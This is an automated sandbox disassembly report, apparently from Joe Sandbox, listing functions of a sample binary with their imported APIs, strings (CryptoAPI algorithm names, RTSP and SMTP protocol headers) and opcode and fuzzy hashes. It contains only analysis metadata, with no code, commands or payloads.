API String ID: 2110207923-0
Opcode ID: 02d6728af480e93390640167c9fa586169bdde8592af3eb17ab05705ac4cfc00
Instruction ID: 3e74737d9fc9427754aa3e43bbd89b3fc3d9b4916dde459513ca45ca66990948
Opcode Fuzzy Hash: 02d6728af480e93390640167c9fa586169bdde8592af3eb17ab05705ac4cfc00
Instruction Fuzzy Hash: 6201523550864582EB20DF78E455329B731FB89BC5F544636DA4906A78CF3DD6448B10

Function 00007FF79B71C1C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 00007FF79B71C1DC
CryptCreateHash.ADVAPI32 ref: 00007FF79B71C1FD

Strings

@, xrefs: 00007FF79B71C1CC

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Crypt$AcquireContextCreateHash
String ID: @
API String ID: 1914063823-2766056989
Opcode ID: d3aecc2a83fcad7f21cce8e17703ccbdcebab1f6873e292a1b1d6d83fa72973c
Instruction ID: f451bae131cf104ecd32b2b4319d69b06535cbf2ec7168379042bbeb8ef4f846
Opcode Fuzzy Hash: d3aecc2a83fcad7f21cce8e17703ccbdcebab1f6873e292a1b1d6d83fa72973c
Instruction Fuzzy Hash: 55E04861B1469683F7709B79E401B16A751FB98B89F844131CE4C4BE78DF3DC2558B14

Function 00007FF79B728B00 Relevance: 3.0, APIs: 2, Instructions: 38networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00007FF79B728B3B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B728B6F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _getpidhtons
String ID:
API String ID: 3416910171-0
Opcode ID: f1bcb4e527c274ed3cbf9794bca566d4a3f943d6d6479211d1b0b4b49af623e0
Instruction ID: d44c872e1d12db2f806b950ec6eb6125992d6a4979dc8d87ca578dea6ca60316
Opcode Fuzzy Hash: f1bcb4e527c274ed3cbf9794bca566d4a3f943d6d6479211d1b0b4b49af623e0
Instruction Fuzzy Hash: 31117022A247D0CAD304DF35E4001AD7770FB5CB84F44962AFB8987B28DB78C690C705

Function 00007FF79B6EDDE0 Relevance: 1.7, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 00007FF79B6EDEE4

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Xbad_function_call@std@@
String ID:
API String ID: 1029415015-0
Opcode ID: c92a89784e0bb41f92a25d6217957aa46eb730cd7c89ea4a0d75b9e7a24e9cc6
Instruction ID: 6fbb1f24fbe38d8553593c11f05b84a60d8248a01660f84131f6b687a94bd773
Opcode Fuzzy Hash: c92a89784e0bb41f92a25d6217957aa46eb730cd7c89ea4a0d75b9e7a24e9cc6
Instruction Fuzzy Hash: 0081BB22B09B9988EB10DBBDD4843AC7771E715B88F944026DF9D477A5DF3AE191C320

Function 00007FF79B6EEB70 Relevance: 1.7, APIs: 1, Instructions: 188COMMON

Download Yara Rule

APIs

?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 00007FF79B6EEC50

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Xbad_function_call@std@@
String ID:
API String ID: 1029415015-0
Opcode ID: 77c627124564cc66c38cfea15e0c09a4efde3085504205c740e35cf6ffa449cf
Instruction ID: bb8f7c7185008e94b9b6626347cd68f4d87afaa524a09ca932c18bf4a3875c08
Opcode Fuzzy Hash: 77c627124564cc66c38cfea15e0c09a4efde3085504205c740e35cf6ffa449cf
Instruction Fuzzy Hash: AC81AE22B19B8989EB10DBBDD0843BC6772E714B88F984422CF9D477A5DF3AE154C360

Function 00007FF79B6ED250 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ec087bc7bd37833f0647a48c282789a3b2250800aa32e4b4276ab159c278acc
Instruction ID: 0e8895e4f0acf5a25530ae4bb6979cc31eb43234ddb420e06371a6dc042ded84
Opcode Fuzzy Hash: 4ec087bc7bd37833f0647a48c282789a3b2250800aa32e4b4276ab159c278acc
Instruction Fuzzy Hash: 83612562B08B4882DA20DB6DE440279A3A2FB597D4F909231DF6D47798EF3EF2518310

Function 00007FF79B73EEC0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9bc956564b332abba12e54d0044448655734ddf9d44365f360b093ba55ae5c6
Instruction ID: a417a1ac8bdbc630e3b869ed6cadf0731dfecb970cdd575d235aa6335c0ea3f6
Opcode Fuzzy Hash: a9bc956564b332abba12e54d0044448655734ddf9d44365f360b093ba55ae5c6
Instruction Fuzzy Hash: 17F08C2932476BBEFE50853B5624FBD5E419BD0701FA379758C80020CB869E5493D724

Function 00007FF79B71C210 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b45453525f5d2fc62c84d77ad13ef48ef9287eb9f94b9dd3c8197f5f60b5b06
Instruction ID: a839a331b16a4d5c430d3090e8828679d78fc98ad079994bcfab16f43d46fcdd
Opcode Fuzzy Hash: 6b45453525f5d2fc62c84d77ad13ef48ef9287eb9f94b9dd3c8197f5f60b5b06
Instruction Fuzzy Hash: 34A01221A0984980D3205714E150D105651E78C7153404022840C01830CD3485418200

Function 00007FF79B73FEF4 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c401d5e77b82380336c64bbbff34b4c62b1207d4b576ecca6d801e95cf74b783
Instruction ID: 0ee474e5051868c568e9947cf33611ac4ef839e390537cb92ddb7fcba4a2239c
Opcode Fuzzy Hash: c401d5e77b82380336c64bbbff34b4c62b1207d4b576ecca6d801e95cf74b783
Instruction Fuzzy Hash: E4A0012191CC0B90E624AB28A950430A626AB5A381B810632C51D454709E2DA604C221

Function 00007FF79B719430 Relevance: 145.9, APIs: 50, Strings: 47, Instructions: 425stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF79B719463
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B7194B3
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B7194D4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B7194EA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B719508
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B719526
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B719544
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B71955C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B719574

Strings

CALG_TEK, xrefs: 00007FF79B71976B
CALG_SKIPJACK, xrefs: 00007FF79B71974D
CALG_DSS_SIGN, xrefs: 00007FF79B7195A9
CALG_SHA_384, xrefs: 00007FF79B7199A5
CALG_SHA_512, xrefs: 00007FF79B7199C3
CALG_RSA_SIGN, xrefs: 00007FF79B71958B
CALG_RC4, xrefs: 00007FF79B719699
CALG_AGREEDKEY_ANY, xrefs: 00007FF79B719711
CALG_SCHANNEL_MASTER_HASH, xrefs: 00007FF79B7197E3
CALG_CYLINK_MEK, xrefs: 00007FF79B719789
CALG_AES, xrefs: 00007FF79B719969
CALG_SHA_256, xrefs: 00007FF79B719987
CALG_MD2, xrefs: 00007FF79B7194E3
CALG_MAC, xrefs: 00007FF79B71956D
CALG_RC2, xrefs: 00007FF79B71967B
CALG_DH_EPHEM, xrefs: 00007FF79B7196F3
CALG_DESX, xrefs: 00007FF79B71965D
CALG_HUGHES_MD5, xrefs: 00007FF79B71972F
CALG_SHA1, xrefs: 00007FF79B719555
CALG_SSL3_MASTER, xrefs: 00007FF79B7197C5
CALG_TLS1_MASTER, xrefs: 00007FF79B719879
CALG_HMAC, xrefs: 00007FF79B7198B5
CALG_ECDH, xrefs: 00007FF79B7199DE
CALG_SCHANNEL_MAC_KEY, xrefs: 00007FF79B719801
CALG_DH_SF, xrefs: 00007FF79B7196D5
CALG_MD5, xrefs: 00007FF79B71951F
CALG_ECMQV, xrefs: 00007FF79B7199F9
CALG_TLS1PRF, xrefs: 00007FF79B7198D3
CALG_AES_192, xrefs: 00007FF79B71992D
CALG_RC5, xrefs: 00007FF79B719897
CALG_3DES, xrefs: 00007FF79B71963F
CALG_PCT1_MASTER, xrefs: 00007FF79B71983D
CALG_DES, xrefs: 00007FF79B719603
CALG_SHA, xrefs: 00007FF79B71953D
CALG_3DES_112, xrefs: 00007FF79B719621
CALG_SEAL, xrefs: 00007FF79B7196B7
CALG_SSL2_MASTER, xrefs: 00007FF79B71985B
CALG_NO_SIGN, xrefs: 00007FF79B7195C7
CALG_MD4, xrefs: 00007FF79B719501
CALG_ECDSA, xrefs: 00007FF79B719A14
CALG_ECDH_EPHEM, xrefs: 00007FF79B719A2F
CALG_RSA_KEYX, xrefs: 00007FF79B7195E5
CALG_AES_256, xrefs: 00007FF79B71994B
CALG_SCHANNEL_ENC_KEY, xrefs: 00007FF79B71981F
CALG_SSL3_SHAMD5, xrefs: 00007FF79B7197A7
CALG_AES_128, xrefs: 00007FF79B71990F
CALG_HASH_REPLACE_OWF, xrefs: 00007FF79B7198F1

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strcmp$strncpy$strchr
String ID: CALG_3DES$CALG_3DES_112$CALG_AES$CALG_AES_128$CALG_AES_192$CALG_AES_256$CALG_AGREEDKEY_ANY$CALG_CYLINK_MEK$CALG_DES$CALG_DESX$CALG_DH_EPHEM$CALG_DH_SF$CALG_DSS_SIGN$CALG_ECDH$CALG_ECDH_EPHEM$CALG_ECDSA$CALG_ECMQV$CALG_HASH_REPLACE_OWF$CALG_HMAC$CALG_HUGHES_MD5$CALG_MAC$CALG_MD2$CALG_MD4$CALG_MD5$CALG_NO_SIGN$CALG_PCT1_MASTER$CALG_RC2$CALG_RC4$CALG_RC5$CALG_RSA_KEYX$CALG_RSA_SIGN$CALG_SCHANNEL_ENC_KEY$CALG_SCHANNEL_MAC_KEY$CALG_SCHANNEL_MASTER_HASH$CALG_SEAL$CALG_SHA$CALG_SHA1$CALG_SHA_256$CALG_SHA_384$CALG_SHA_512$CALG_SKIPJACK$CALG_SSL2_MASTER$CALG_SSL3_MASTER$CALG_SSL3_SHAMD5$CALG_TEK$CALG_TLS1PRF$CALG_TLS1_MASTER
API String ID: 1395212091-3550120021
Opcode ID: 5b9f595ee7f3ca4ffd702705bcba5db95776521ceb982a28a691c4140223d490
Instruction ID: ed893a8851dfc3a36e72d74d6733401d0e2d4def124f310f075136ecde5d636d
Opcode Fuzzy Hash: 5b9f595ee7f3ca4ffd702705bcba5db95776521ceb982a28a691c4140223d490
Instruction Fuzzy Hash: 9312C710B1C55B91FA30F738D8481B9A267AB98789FC05233D90E965F5EE2CE70AD330

Function 00007FF79B704A50 Relevance: 52.7, APIs: 34, Strings: 1, Instructions: 215COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B70D7B0: QueryPerformanceCounter.KERNEL32(?,?,00000000,00007FF79B6F582F), ref: 00007FF79B70D7C7

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704BDD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704BF1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704C05
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704C19
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704C2D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704C41
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704C55
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704C69
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704C7D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704C91
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704CA5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704CB9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704CCD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704CE1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704CF5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704D09

Part of subcall function 00007FF79B70EEE0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70EF1E

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704D1D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704D31
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704D45
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704D59
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704D6D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704D81
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704D95
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704DA9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704DBD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704DD1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704DE5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704DF9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704E0D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704E21

Part of subcall function 00007FF79B7028A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702828), ref: 00007FF79B7028BB
Part of subcall function 00007FF79B7028A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702828), ref: 00007FF79B7028E9

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704E4B

Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF061
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF071
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF07F
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF08D
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF09B
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF0A9
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF0B7
Part of subcall function 00007FF79B6FF050: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF0C5

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704E77
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704E8B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704E9B

Strings

Closing connection %ld, xrefs: 00007FF79B704B49

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$CounterPerformanceQuery
String ID: Closing connection %ld
API String ID: 3490100708-2599090834
Opcode ID: eb9022106fa48ef0e48b7552785da4dbc1585c49f9124965ca0ddee36b5df991
Instruction ID: 38e6a677aefa50ae9471a7455a7b895b180aac1862334f4282c63520a726cd08
Opcode Fuzzy Hash: eb9022106fa48ef0e48b7552785da4dbc1585c49f9124965ca0ddee36b5df991
Instruction Fuzzy Hash: 92C1FF35508B85C2E750AF35E8912AC7365FB89F58F880236DEAD077B9CF7892958330

Function 00007FF79B726E90 Relevance: 49.9, APIs: 6, Strings: 27, Instructions: 385COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B726F8D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72708E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B727101
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72717B

Strings

Refusing to issue an RTSP SETUP without a Transport: header., xrefs: 00007FF79B726FC5
Session: %s, xrefs: 00007FF79B72725D
Content-Length, xrefs: 00007FF79B7273CC
Range: %s, xrefs: 00007FF79B727183
Content-Type: text/parameters, xrefs: 00007FF79B727427
Referer, xrefs: 00007FF79B727117
CSeq, xrefs: 00007FF79B7271AC
Refusing to issue an RTSP request [%s] without a session ID., xrefs: 00007FF79B726F13
Accept: application/sdp, xrefs: 00007FF79B726FFA
Session ID cannot be set as a custom header., xrefs: 00007FF79B7271ED
%s %s RTSP/1.0CSeq: %ld, xrefs: 00007FF79B727227
Content-Length: %I64d, xrefs: 00007FF79B7273E7
Transport, xrefs: 00007FF79B726F3E
User-Agent, xrefs: 00007FF79B72706E, 00007FF79B72709D
%s%s%s%s%s%s%s%s, xrefs: 00007FF79B7272E6
Referer: %s, xrefs: 00007FF79B727132
CSeq cannot be set as a custom header., xrefs: 00007FF79B7271C0
Accept, xrefs: 00007FF79B726FE8
Content-Type: application/sdp, xrefs: 00007FF79B72745D
Content-Type, xrefs: 00007FF79B727413, 00007FF79B727449
Accept-Encoding, xrefs: 00007FF79B727004
Failed sending RTSP request, xrefs: 00007FF79B7274F1
Transport: %s, xrefs: 00007FF79B726F9A
Range, xrefs: 00007FF79B727157
Session, xrefs: 00007FF79B7271D9
Accept-Encoding: %s, xrefs: 00007FF79B727039
OPTIONS, xrefs: 00007FF79B726E90

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: %s %s RTSP/1.0CSeq: %ld$%s%s%s%s%s%s%s%s$Accept$Accept-Encoding$Accept-Encoding: %s$Accept: application/sdp$CSeq$CSeq cannot be set as a custom header.$Content-Length$Content-Length: %I64d$Content-Type$Content-Type: application/sdp$Content-Type: text/parameters$Failed sending RTSP request$OPTIONS$Range$Range: %s$Referer$Referer: %s$Refusing to issue an RTSP SETUP without a Transport: header.$Refusing to issue an RTSP request [%s] without a session ID.$Session$Session ID cannot be set as a custom header.$Session: %s$Transport$Transport: %s$User-Agent
API String ID: 1294909896-2200874227
Opcode ID: ae1e4fcc06bd7d9f04feea2aa870c001feb33b1b7f8d8a18fdde67d1064cfb35
Instruction ID: 98e9e8e5fb04054dcc09ffc7f14e1ce1f7a3a9b389d46e0de704b345723c2342
Opcode Fuzzy Hash: ae1e4fcc06bd7d9f04feea2aa870c001feb33b1b7f8d8a18fdde67d1064cfb35
Instruction Fuzzy Hash: 89025521A0978A95EA74EB39A5403B9B391EF48784F840237DE4D477B5EF3CE7458720

Function 00007FF79B720930 Relevance: 47.5, APIs: 18, Strings: 9, Instructions: 297stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72098E
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B7209C2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B720A41
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B720A5B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B720A6A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B720AB7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B720AC8

Strings

MAIL FROM:%s%s%s%s%s%s, xrefs: 00007FF79B720D5C
%I64d, xrefs: 00007FF79B720C7E
SIZE=, xrefs: 00007FF79B720D31
SMTPUTF8, xrefs: 00007FF79B720D1A
Mime-Version, xrefs: 00007FF79B720C09
<%s>, xrefs: 00007FF79B720A49, 00007FF79B720B8D
AUTH=, xrefs: 00007FF79B720D25
<%s@%s>, xrefs: 00007FF79B720A26, 00007FF79B720B6A
Mime-Version: 1.0, xrefs: 00007FF79B720C24

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfree$strpbrk
String ID: AUTH=$ SIZE=$ SMTPUTF8$%I64d$<%s>$<%s@%s>$MAIL FROM:%s%s%s%s%s%s$Mime-Version$Mime-Version: 1.0
API String ID: 2737852498-2994854565
Opcode ID: 9f3ae06b9d67fe3e04b5c85581cf7496fb5af4bc220afe7f1755c54301e1dd65
Instruction ID: 067f9375d93e3cf14ff797cd8d5c5664523873588aba41f1590c31a0a215f312
Opcode Fuzzy Hash: 9f3ae06b9d67fe3e04b5c85581cf7496fb5af4bc220afe7f1755c54301e1dd65
Instruction Fuzzy Hash: 8FD17B21A09B5A85FA31EB3998546B9A3B1EF49B84FC40233DD4D177B5EF3CA645C320

Function 00007FF79B73DE10 Relevance: 44.0, APIs: 22, Strings: 3, Instructions: 250COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73DEF6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73DF9B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73DFF2
htonl.WS2_32 ref: 00007FF79B73E01F
